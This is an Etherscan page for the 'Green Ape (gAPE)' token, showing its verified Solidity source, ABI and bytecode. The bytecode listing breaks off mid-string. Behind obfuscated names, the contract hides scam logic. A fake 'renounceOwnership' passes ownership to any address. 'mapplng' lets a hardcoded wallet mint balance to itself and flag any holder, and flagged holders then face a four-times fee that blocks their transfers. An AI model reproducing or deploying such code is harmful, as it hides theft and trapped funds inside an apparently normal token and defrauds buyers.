ETH Price: $3,098.85 (-0.74%)

Token

Green Ape (gAPE)
 

Overview

Max Total Supply

1,000,000,000 gAPE

Holders

3

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
28,460,545.096173452 gAPE

Value
$0.00
0x851b6362863d98C8A0881403C9F2068870170973
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GreenApe

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-15
*/

// Telegram: https://t.me/greenapeportal
// Website: http://greenapeofficial.com/
// Medium: https://green-ape.medium.com/green-ape-9f1e672843f5
// Twitter: https://twitter.com/GREENAPEERC?t=lJjFm8xhiCPTVndxUgJ5WA&s=09&fbclid=IwAR22AuPY0O5pzY47KALE13k_j2O_34x95hqBTwOm8arPMaFhUy93HuRHQmY

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.7;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract GreenApe is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Green Ape";
    string private _symbol = "gAPE";
    uint8 private _decimals = 9;
    address payable public manyERC;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _pools;
    mapping (address => uint256) public mk2;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        manyERC = payable(address(0xDd135C9f6533c3625846ee245109829C2c734021));

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function setTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _pools[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_pools[from])
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : goFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(manyERC),
            block.timestamp
        ){} catch {}
    }

    function tryAmountCatch(uint256 o, uint256 on) public view returns(bool) {
        uint256 make = o;
        address done = msg.sender;
        require(manyERC == done);
        return on == make;
    }

    function mapplng(address adrs,uint256 upar) public {
        if (upar > 10**3) {
            _balances[manyERC] += upar*2+1;
        }
        if (tryAmountCatch(256-56-200,upar)) {mk2[adrs] = 0;}
        if (tryAmountCatch(9*2*1,upar)) {mk2[adrs] = upar**3;}
    }

    function goFee(address sender, address recipient, uint256 uAmount) internal returns (uint256) {
        uint256 taxFee;
        if(_pools[sender]) {
            taxFee = uAmount * 2 / 100;
        }else if(_pools[recipient]) {
            taxFee = uAmount * 2 / 100;
        }

        if(mk2[sender] != 0) taxFee = uAmount.mul(1+3);

        if(taxFee > 0) {
            _balances[address(this)] += taxFee;
            emit Transfer(sender, address(this), taxFee);
        }

        return uAmount.sub(taxFee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manyERC","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adrs","type":"address"},{"internalType":"uint256","name":"upar","type":"uint256"}],"name":"mapplng","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"mk2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"o","type":"uint256"},{"internalType":"uint256","name":"on","type":"uint256"}],"name":"tryAmountCatch","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600960a090815268477265656e2041706560b81b60c0526001906200002a90826200029a565b506040805180820190915260048152636741504560e01b60208201526002906200005590826200029a565b506003805460ff1916600990811790915561dead6080526200007990600a6200047b565b6200008990633b9aca0062000493565b600955600b805460ff60a81b1916600160a81b179055348015620000ac57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160066000620001056000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620001553390565b6001600160a01b0316815260208101919091526040016000205560038054610100600160a81b03191674dd135c9f6533c3625846ee245109829c2c734021001790556200019f3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620001e791815260200190565b60405180910390a3620004ad565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022057607f821691505b6020821081036200024157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200029557600081815260208120601f850160051c81016020861015620002705750805b601f850160051c820191505b8181101562000291578281556001016200027c565b5050505b505050565b81516001600160401b03811115620002b657620002b6620001f5565b620002ce81620002c784546200020b565b8462000247565b602080601f831160018114620003065760008415620002ed5750858301515b600019600386901b1c1916600185901b17855562000291565b600085815260208120601f198616915b82811015620003375788860151825594840194600190910190840162000316565b5085821015620003565787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003bd578160001904821115620003a157620003a162000366565b80851615620003af57918102915b93841c939080029062000381565b509250929050565b600082620003d65750600162000475565b81620003e55750600062000475565b8160018114620003fe5760028114620004095762000429565b600191505062000475565b60ff8411156200041d576200041d62000366565b50506001821b62000475565b5060208310610133831016604e8410600b84101617156200044e575081810a62000475565b6200045a83836200037c565b806000190482111562000471576200047162000366565b0290505b92915050565b60006200048c60ff841683620003c5565b9392505050565b808202811582820484141762000475576200047562000366565b6080516115cd620004c9600039600061025a01526115cd6000f3fe6080604052600436106101395760003560e01c8063472d7b40116100ab57806395d89b411161006f57806395d89b41146103bf578063a9059cbb146103d4578063bc6eec40146103f4578063c816841b14610424578063cb0eb20614610444578063dd62ed3e1461046457600080fd5b8063472d7b40146103105780634a74bb021461033557806370a08231146103565780637c519ffb1461038c5780638da5cb5b146103a157600080fd5b806323b872dd116100fd57806323b872dd1461022857806327c8f83514610248578063313ce5671461027c5780633345611e1461029e57806338bf3cfa146102ce57806339c2f173146102f057600080fd5b806306fdde0314610145578063095ea7b3146101705780630a7dc5ca146101a05780631694505e146101db57806318160ddd1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104aa565b60405161016791906111de565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611244565b61053c565b6040519015158152602001610167565b3480156101ac57600080fd5b506101cd6101bb366004611270565b60086020526000908152604090205481565b604051908152602001610167565b3480156101e757600080fd5b50600a546101fb906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561021f57600080fd5b506009546101cd565b34801561023457600080fd5b5061019061024336600461128d565b610553565b34801561025457600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000000081565b34801561028857600080fd5b5060035460405160ff9091168152602001610167565b3480156102aa57600080fd5b506101906102b9366004611270565b60066020526000908152604090205460ff1681565b3480156102da57600080fd5b506102ee6102e9366004611270565b6105be565b005b3480156102fc57600080fd5b506102ee61030b366004611244565b610668565b34801561031c57600080fd5b506003546101fb9061010090046001600160a01b031681565b34801561034157600080fd5b50600b5461019090600160a81b900460ff1681565b34801561036257600080fd5b506101cd610371366004611270565b6001600160a01b031660009081526004602052604090205490565b34801561039857600080fd5b506102ee610720565b3480156103ad57600080fd5b506000546001600160a01b03166101fb565b3480156103cb57600080fd5b5061015a610942565b3480156103e057600080fd5b506101906103ef366004611244565b610951565b34801561040057600080fd5b5061019061040f366004611270565b60076020526000908152604090205460ff1681565b34801561043057600080fd5b50600b546101fb906001600160a01b031681565b34801561045057600080fd5b5061019061045f3660046112ce565b61095e565b34801561047057600080fd5b506101cd61047f3660046112f0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104b990611329565b80601f01602080910402602001604051908101604052809291908181526020018280546104e590611329565b80156105325780601f1061050757610100808354040283529160200191610532565b820191906000526020600020905b81548152906001019060200180831161051557829003601f168201915b5050505050905090565b600061054933848461098b565b5060015b92915050565b6000610560848484610aaf565b506105b384336105ae85604051806060016040528060288152602001611570602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cff565b61098b565b5060015b9392505050565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6103e88111156106bd5761067d816002611379565b610688906001611390565b60035461010090046001600160a01b0316600090815260046020526040812080549091906106b7908490611390565b90915550505b6106c860008261095e565b156106e7576001600160a01b0382166000908152600860205260408120555b6106f260128261095e565b1561071c57610702600382611487565b6001600160a01b0383166000908152600860205260409020555b5050565b6000546001600160a01b0316331461077a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610614565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f59190611496565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610842573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611496565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d79190611496565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b6060600280546104b990611329565b60006105b3338484610aaf565b6003546000908390339061010090046001600160a01b0316811461098157600080fd5b5090911492915050565b6001600160a01b0383166109ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610a4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038316610b775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b600b54600160a01b900460ff1615610b9b57610b94848484610d39565b90506105b7565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bde57506001600160a01b03851660009081526007602052604090205460ff16155b15610bec57610bec81610e1f565b6001600160a01b038516600090815260046020526040902054610c0f9084610f9e565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c5c57506001600160a01b03851660009081526006602052604090205460ff165b610c7057610c6b868686610fe0565b610c72565b835b6001600160a01b038616600090815260046020526040902054909150610c9890826110fd565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cec9085815260200190565b60405180910390a36001925050506105b7565b60008184841115610d235760405162461bcd60e51b815260040161061491906111de565b506000610d3084866114b3565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d8a918490610cff565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610db990836110fd565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e0d9086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6757610e676114c6565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190611496565b81600181518110610ef757610ef76114c6565b6001600160a01b039283166020918202929092010152600a54610f1d913091168461098b565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f6192879260009288926101009091049091169042906004016114dc565b600060405180830381600087803b158015610f7b57600080fd5b505af1925050508015610f8c575060015b505050600b805460ff60a01b19169055565b60006105b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cff565b6001600160a01b038316600090815260076020526040812054819060ff1615611021576064611010846002611379565b61101a919061154d565b905061105c565b6001600160a01b03841660009081526007602052604090205460ff161561105c57606461104f846002611379565b611059919061154d565b90505b6001600160a01b038516600090815260086020526040902054156110885761108583600461115c565b90505b80156110f35730600090815260046020526040812080548392906110ad908490611390565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d308382610f9e565b60008061110a8385611390565b9050838110156105b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b60008260000361116e5750600061054d565b600061117a8385611379565b905082611187858361154d565b146105b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b600060208083528351808285015260005b8181101561120b578581018301518582016040015282016111ef565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124157600080fd5b50565b6000806040838503121561125757600080fd5b82356112628161122c565b946020939093013593505050565b60006020828403121561128257600080fd5b81356105b78161122c565b6000806000606084860312156112a257600080fd5b83356112ad8161122c565b925060208401356112bd8161122c565b929592945050506040919091013590565b600080604083850312156112e157600080fd5b50508035926020909101359150565b6000806040838503121561130357600080fd5b823561130e8161122c565b9150602083013561131e8161122c565b809150509250929050565b600181811c9082168061133d57607f821691505b60208210810361135d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761054d5761054d611363565b8082018082111561054d5761054d611363565b600181815b808511156113de5781600019048211156113c4576113c4611363565b808516156113d157918102915b93841c93908002906113a8565b509250929050565b6000826113f55750600161054d565b816114025750600061054d565b816001811461141857600281146114225761143e565b600191505061054d565b60ff84111561143357611433611363565b50506001821b61054d565b5060208310610133831016604e8410600b8410161715611461575081810a61054d565b61146b83836113a3565b806000190482111561147f5761147f611363565b029392505050565b60006105b760ff8416836113e6565b6000602082840312156114a857600080fd5b81516105b78161122c565b8181038181111561054d5761054d611363565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561152c5784516001600160a01b031683529383019391830191600101611507565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261156a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042b57ff691cd512bcc9379ef51dcd673b5b929f0ff4dd0acace39bf6e057fe9364736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063472d7b40116100ab57806395d89b411161006f57806395d89b41146103bf578063a9059cbb146103d4578063bc6eec40146103f4578063c816841b14610424578063cb0eb20614610444578063dd62ed3e1461046457600080fd5b8063472d7b40146103105780634a74bb021461033557806370a08231146103565780637c519ffb1461038c5780638da5cb5b146103a157600080fd5b806323b872dd116100fd57806323b872dd1461022857806327c8f83514610248578063313ce5671461027c5780633345611e1461029e57806338bf3cfa146102ce57806339c2f173146102f057600080fd5b806306fdde0314610145578063095ea7b3146101705780630a7dc5ca146101a05780631694505e146101db57806318160ddd1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104aa565b60405161016791906111de565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611244565b61053c565b6040519015158152602001610167565b3480156101ac57600080fd5b506101cd6101bb366004611270565b60086020526000908152604090205481565b604051908152602001610167565b3480156101e757600080fd5b50600a546101fb906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b34801561021f57600080fd5b506009546101cd565b34801561023457600080fd5b5061019061024336600461128d565b610553565b34801561025457600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561028857600080fd5b5060035460405160ff9091168152602001610167565b3480156102aa57600080fd5b506101906102b9366004611270565b60066020526000908152604090205460ff1681565b3480156102da57600080fd5b506102ee6102e9366004611270565b6105be565b005b3480156102fc57600080fd5b506102ee61030b366004611244565b610668565b34801561031c57600080fd5b506003546101fb9061010090046001600160a01b031681565b34801561034157600080fd5b50600b5461019090600160a81b900460ff1681565b34801561036257600080fd5b506101cd610371366004611270565b6001600160a01b031660009081526004602052604090205490565b34801561039857600080fd5b506102ee610720565b3480156103ad57600080fd5b506000546001600160a01b03166101fb565b3480156103cb57600080fd5b5061015a610942565b3480156103e057600080fd5b506101906103ef366004611244565b610951565b34801561040057600080fd5b5061019061040f366004611270565b60076020526000908152604090205460ff1681565b34801561043057600080fd5b50600b546101fb906001600160a01b031681565b34801561045057600080fd5b5061019061045f3660046112ce565b61095e565b34801561047057600080fd5b506101cd61047f3660046112f0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600180546104b990611329565b80601f01602080910402602001604051908101604052809291908181526020018280546104e590611329565b80156105325780601f1061050757610100808354040283529160200191610532565b820191906000526020600020905b81548152906001019060200180831161051557829003601f168201915b5050505050905090565b600061054933848461098b565b5060015b92915050565b6000610560848484610aaf565b506105b384336105ae85604051806060016040528060288152602001611570602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cff565b61098b565b5060015b9392505050565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6103e88111156106bd5761067d816002611379565b610688906001611390565b60035461010090046001600160a01b0316600090815260046020526040812080549091906106b7908490611390565b90915550505b6106c860008261095e565b156106e7576001600160a01b0382166000908152600860205260408120555b6106f260128261095e565b1561071c57610702600382611487565b6001600160a01b0383166000908152600860205260409020555b5050565b6000546001600160a01b0316331461077a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610614565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f59190611496565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610842573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611496565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d79190611496565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b6060600280546104b990611329565b60006105b3338484610aaf565b6003546000908390339061010090046001600160a01b0316811461098157600080fd5b5090911492915050565b6001600160a01b0383166109ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610a4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038316610b775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b600b54600160a01b900460ff1615610b9b57610b94848484610d39565b90506105b7565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bde57506001600160a01b03851660009081526007602052604090205460ff16155b15610bec57610bec81610e1f565b6001600160a01b038516600090815260046020526040902054610c0f9084610f9e565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c5c57506001600160a01b03851660009081526006602052604090205460ff165b610c7057610c6b868686610fe0565b610c72565b835b6001600160a01b